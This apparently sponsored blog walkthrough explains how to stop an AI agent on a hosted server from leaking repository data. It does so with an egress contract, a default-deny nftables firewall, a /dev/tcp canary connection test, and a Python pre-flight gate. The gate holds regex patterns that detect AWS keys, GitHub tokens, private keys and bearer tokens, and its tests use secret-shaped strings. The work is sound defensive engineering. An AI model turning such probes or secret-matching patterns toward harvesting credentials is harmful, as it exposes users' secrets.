Here is a script I keep watching play out. A team reads that a free tier exists, spins up an agent on someone else's host, points it at a hosted model, and ships a demo by Friday. Nobody asks where the data went until an auditor does.

So let me ask the uncomfortable version early: if your agent runs on a host you don't fully control, what exactly is stopping it from sending your repository somewhere you never approved?

I'm not going to re-report benchmark news I haven't verified myself. But the trend signal is easy to read. DEV's front page this week is full of AI fatigue, "AI got better while software didn't," and posts about thousands of open-source AI projects landing in a single weekend. Teams respond by trying free tiers. And a free tier is exactly when the trust-boundary question gets real, because you're adopting two new boundaries at once.

This post is a security walkthrough. Threat model first, then two enforcement layers you can actually test, then a decision table for what may cross which boundary. Everything below is runnable fixture code, not a policy document.

The threat model, in five lines

Write this down before you write any agent code. If you can't fill all five lines, you don't have a threat model, you have a vibe.

Asset: the plaintext your agent can read — source, .env files, logs, ticket bodies, fixture data with real customer rows.
Actor: anything that can influence the payload. That includes prompt injection from a fetched file, a compromised dependency, and a helpful teammate who pastes a token "just for testing."
Path: prompt assembly → HTTP client → TLS → someone else's inference host.
Invariant: no secret-shaped string and no denied data class ever leaves the host, even when the agent is wrong.
Evidence: a failing canary connection and a failing unit test, both executed in CI.

Note line four. The invariant has to survive an agent that is confidently incorrect, because that is the normal state of agents.

Two boundaries, and only one can see plaintext

This is the part people get wrong, and it costs them a false sense of safety.

Layer	Where it lives	What it can see	What it can enforce
Content gate	Your process, before encryption	Full plaintext payload	Regex/classifier rules on strings
Destination gate	The kernel, on the host	IP, port, protocol, volume	Allowlist, default deny, counters

The content gate can read everything and can be bypassed by any code path that skips it. The destination gate cannot read anything, and cannot be bypassed by application code — but it also can't tell a secret from a shopping list. You need both, and you need to know which one is load-bearing when they disagree.

Step 1 — Write the egress contract before you write the agent

The contract is a small file that both layers read. One source of truth, two enforcement points.

{
  "version": 1,
  "reviewed_at": "2026-10-16",
  "allowed_destinations": ["203.0.113.10:443"],
  "resolver": "203.0.113.53:53",
  "data_classes": {
    "public_docs": "send",
    "internal_source": "send_after_review",
    "customer_pii": "never",
    "credentials": "never",
    "logs_with_tokens": "never"
  }
}

Two rules for this file. Pin the destination by IP and port, not by hostname — DNS is a second trust boundary and I'd rather not argue about it in a review meeting. Second, date it. An undated contract is a rumor.

Step 2 — Enforce destinations in the kernel

On a host where you control the kernel, this is the whole game. Default deny, allow the one endpoint, count and log the rest.

#!/usr/sbin/nft -f
# /etc/nftables.d/agent-egress.nft
table inet agent_egress {
  set allowed_dst {
    type ipv4_addr
    flags interval
    elements = { 203.0.113.10 }
  }

  chain output {
    type filter hook output priority 0; policy drop;

    oifname "lo" accept
    ct state established,related accept
    ip daddr @allowed_dst tcp dport 443 accept
    ip daddr 203.0.113.53 udp dport 53 accept
    meta nfproto ipv6 drop
    counter log prefix "agent-egress-drop " level warn
  }
}

Load it and confirm it took effect:

sudo nft -f /etc/nftables.d/agent-egress.nft
sudo nft list table inet agent_egress

Now prove it with a canary. A rule you haven't tested is a comment with extra steps.

CANARY=203.0.113.99
if timeout 5 bash -c "exec 3<>/dev/tcp/${CANARY}/443" 2>/dev/null; then
  echo "FAIL: canary destination reachable"; exit 1
else
  echo "PASS: egress blocked"
fi

sudo nft list table inet agent_egress | grep -c "agent-egress-drop"

If the canary connects, stop. Fix the policy before you debug the agent.

Step 3 — Enforce content where plaintext exists

Kernel rules can't read a payload, so the string policy has to live in the process that builds the request. Keep it dumb and fast.

# gate/preflight.py
import json, re

SECRET_PATTERNS = {
    "aws_access_key": re.compile(r"\bAKIA[0-9A-Z]{16}\b"),
    "github_pat": re.compile(r"\bghp_[A-Za-z0-9]{36}\b"),
    "private_key": re.compile(r"-----BEGIN [A-Z ]*PRIVATE KEY-----"),
    "bearer": re.compile(r"\bBearer\s+[A-Za-z0-9._\-]{20,}"),
}

DENY_CLASSES = {"customer_pii", "credentials", "logs_with_tokens"}


class EgressViolation(Exception):
    """Raised before bytes leave the process."""


def assert_payload_allowed(payload: str, contract: dict, declared: str) -> str:
    if contract["data_classes"].get(declared) == "never" or declared in DENY_CLASSES:
        raise EgressViolation(f"data class '{declared}' is not sendable")
    hits = sorted(n for n, rx in SECRET_PATTERNS.items() if rx.search(payload))
    if hits:
        raise EgressViolation(f"payload matched {hits}")
    return payload


if __name__ == "__main__":
    contract = json.load(open("egress.contract.json"))
    print(assert_payload_allowed("how do I pin nftables?", contract, "public_docs"))

And the fixture pair, because one-sided tests are theatre:

# tests/test_preflight.py
import pytest
from gate.preflight import EgressViolation, assert_payload_allowed

CONTRACT = {"data_classes": {"public_docs": "send", "customer_pii": "never"}}


def test_negative_secret_shaped_string_is_blocked():
    with pytest.raises(EgressViolation):
        assert_payload_allowed("token: ghp_" + "a" * 36, CONTRACT, "public_docs")


def test_negative_denied_class_is_blocked():
    with pytest.raises(EgressViolation):
        assert_payload_allowed("email a@b.example", CONTRACT, "customer_pii")


def test_positive_public_question_passes():
    assert assert_payload_allowed("regex help?", CONTRACT, "public_docs") == "regex help?"

Step 4 — Wire both layers into one gate

Enforcement that isn't in CI is a suggestion.

# .github/workflows/egress.yml
name: egress-gate
on: [pull_request]
jobs:
  gate:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: pip install pytest
      - run: pytest -q tests/test_preflight.py
      - run: bash scripts/canary.sh

The unit tests catch content regressions in seconds. The canary catches the day someone relaxes the firewall "temporarily." Different failure modes, different layers, same gate.

Decision table: what may cross which boundary

Data class	Send to hosted model?	Store on the host?	Enforced by
Public docs, OSS source	Yes	Yes	Nothing — it's already public
Internal source	Only after review, pinned revision	Yes	Content gate + review
Customer PII	No	Only if already required by policy	Content gate, deny class
Credentials, tokens	No	Canary/short-lived only	Both layers, deny class
Logs with tokens	No	Redact at write time	Content gate, plus log sink policy

Where a free tier genuinely helps, and where it doesn't

Here's the honest version of the pitch. Two things matter for this workflow.

Disclosure: This article was prepared as part of MonkeyCode's product outreach.

First, the free model access matters because this whole approach depends on repeatedly running negative fixtures — canary probes, secret-shaped payloads, denied data classes. That is cheap, boring traffic, and paying per token to run it is silly. Second, the free server option matters because Layer 2 only exists if you control the kernel. On a pure client-side SaaS you can't write an output chain; you can only hope the application calls your gate.

If the host you get is a locked-down container without NET_ADMIN, you cannot load that nftables table — plan for substituting a forced proxy plus a resolver you control, or accept that you only have Layer 1. Check before you design around it.

The project advertises a free tier that at the time of writing includes 10M tokens and a free server. Treat that as operator-supplied and verify the current limits yourself on the project's own page before you build a budget on it; quotas move, and dated assumptions rot fast.

If you want to try the negative-fixture suite against an endpoint you don't own, a free tier is a reasonable place to start — just bring your own contract.

Limitations and failure modes

Be clear-eyed about what this does not do.

TLS is opaque to you. The destination gate sees IPs and ports. You cannot content-inspect the inference request without terminating TLS with a CA you control, which means running a broker you now have to secure too.
DNS is a second door. Pin the resolver, or an attacker swaps the name behind an allowed IP.
DoH/DoT bypass. A dependency that ships its own resolver walks around your port-53 rule.
Package installs break. Default-deny means your mirror must be on the allowlist, or builds fail at 2 a.m.
Counters lie by omission. If the log rule is the only evidence and nobody reads it, you have detection without detection.

Who should not use this

Don't build this for a throwaway weekend experiment on public sample data — the overhead isn't worth it, and default-deny rules will just slow you down. Don't use it if you need full payload inspection of encrypted traffic and you're not prepared to run a TLS-terminating broker with its own threat model. And don't adopt it as a substitute for data classification: the gate enforces what you declared. If your team can't say which column is PII, no firewall will guess for you.

The boundary question

The gate works when both layers are boring and both are tested. So the question I'd leave you with isn't whether to allowlist — it's where the decision belongs. Should the invariant "this data class never leaves" live in CI as a unit test, or in the kernel as a rule that ignores your application entirely?

I have an opinion, but it depends on your blast radius. Which layer would you trust when the agent is confidently wrong?